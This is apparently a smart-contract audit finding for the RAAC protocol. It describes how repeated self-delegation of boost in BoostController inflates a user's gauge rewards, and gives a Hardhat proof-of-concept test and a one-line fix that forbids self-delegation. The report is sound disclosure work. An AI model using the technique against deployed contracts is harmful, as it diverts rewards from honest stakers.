For example, suppose a user has a balance of 1000 veTokens, stakes 100 veTokens, and locks them for one year. The user can self-delegate 100 veTokens for the minimum duration (e.g., 8 days). Once the delegation expires, the user can remove it and immediately self-delegate again. Repeating this process enables the attacker to continuously boost their effective stake, thereby doubling (or more) their reward allocation compared to their actual staked amount.
Shown in PoC.
Manual Review, Hardhat.
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { expect } from "chai";
import hre from "hardhat";
const { ethers, network } = hre;
describe("RAACGauge with MockVeToken", () => {
let raacGauge;
let gaugeController;
let boostController;
let veRAACToken;
let rewardToken;
let owner;
let user1;
let user2;
let emergencyAdmin;
let mockPool;
let snapshotId;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
beforeEach(async () => {
snapshotId = await network.provider.send("evm_snapshot");
[owner, user1, user2, emergencyAdmin] = await ethers.getSigners();
const MockToken = await ethers.getContractFactory("MockToken");
rewardToken = await MockToken.deploy("Reward Token", "RWD", 18);
const MockVeToken = await ethers.getContractFactory("MockVeToken");
veRAACToken = await MockVeToken.deploy();
await veRAACToken.mint(await user1.getAddress(), ethers.parseEther("1000"));
await veRAACToken.mint(await user2.getAddress(), ethers.parseEther("500"));
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(await veRAACToken.getAddress());
const BoostController = await ethers.getContractFactory("BoostController");
boostController = await BoostController.deploy(await veRAACToken.getAddress());
const MockPool = await ethers.getContractFactory("MockPool");
mockPool = await MockPool.deploy();
await boostController.connect(owner).modifySupportedPool(await mockPool.getAddress(), true);
const currentTime = BigInt(await time.latest());
const nextWeekStart = ((currentTime / BigInt(WEEK)) + 3n) * BigInt(WEEK);
await time.setNextBlockTimestamp(Number(nextWeekStart));
await network.provider.send("evm_mine");
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), await owner.getAddress());
await rewardToken.connect(user1).approve(await raacGauge.getAddress(), ethers.MaxUint256);
await rewardToken.connect(user2).approve(await raacGauge.getAddress(), ethers.MaxUint256);
await gaugeController.grantRole(await gaugeController.GAUGE_ADMIN(), await owner.getAddress());
await gaugeController.addGauge(await raacGauge.getAddress(), 0, WEIGHT_PRECISION);
await time.increase(WEEK);
await gaugeController.connect(user1).vote(await raacGauge.getAddress(), WEIGHT_PRECISION);
await raacGauge.setWeeklyEmission(ethers.parseEther("10000"));
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("100000"));
await raacGauge.setBoostParameters(
25000,
10000,
WEEK
);
await raacGauge.setInitialWeight(5000);
await network.provider.send("evm_mine");
});
afterEach(async () => {
await network.provider.send("evm_revert", [snapshotId]);
});
describe("Initialization", () => {
it("should initialize with correct state", async () => {
expect(await raacGauge.rewardToken()).to.equal(await rewardToken.getAddress());
expect(await raacGauge.stakingToken()).to.equal(await veRAACToken.getAddress());
expect(await raacGauge.WEEK()).to.equal(WEEK);
});
});
describe("Self-Delegation Reward Impact", () => {
it("should allow a user to earn more rewards by self-delegating boost", async () => {
await veRAACToken.connect(user1).approve(await raacGauge.getAddress(), ethers.MaxUint256);
await raacGauge.connect(user1).stake(ethers.parseEther("200"));
await time.increase(WEEK);
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await time.increase(WEEK / 2);
await raacGauge.connect(user1).getReward();
const rewardWithoutBoost = await rewardToken.balanceOf(await user1.getAddress());
console.log("Reward without self delegating boost:", rewardWithoutBoost.toString());
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("100000"));
const delegationAmount = ethers.parseEther("200");
const delegationDuration = 8 * 24 * 3600;
await expect(
boostController.connect(user1).delegateBoost(await user1.getAddress(), delegationAmount, delegationDuration)
)
.to.emit(boostController, "BoostDelegated")
.withArgs(await user1.getAddress(), await user1.getAddress(), delegationAmount, delegationDuration);
await boostController.connect(user1).updateUserBoost(await user1.getAddress(), await mockPool.getAddress());
const effectiveWeight = await raacGauge.getUserWeight(await user1.getAddress());
console.log("Effective weight with boost:", effectiveWeight.toString());
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await time.increase(WEEK);
const balanceBefore = await rewardToken.balanceOf(await user1.getAddress());
await raacGauge.connect(user1).getReward();
const rewardWithBoost = (await rewardToken.balanceOf(await user1.getAddress())) - balanceBefore;
console.log("Reward with the added self delegation boost:", rewardWithBoost.toString());
expect(rewardWithBoost).to.be.gt(rewardWithoutBoost);
});
});
});
Test shows rewards double the amount, with a self delegating boost of double the amount staked.
function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (
duration < MIN_DELEGATION_DURATION ||
duration > MAX_DELEGATION_DURATION
) revert InvalidDelegationDuration();
+ require(to != msg.sender, "Self delegation not allowed");
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
// audit doesnt update poolBoost structure
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}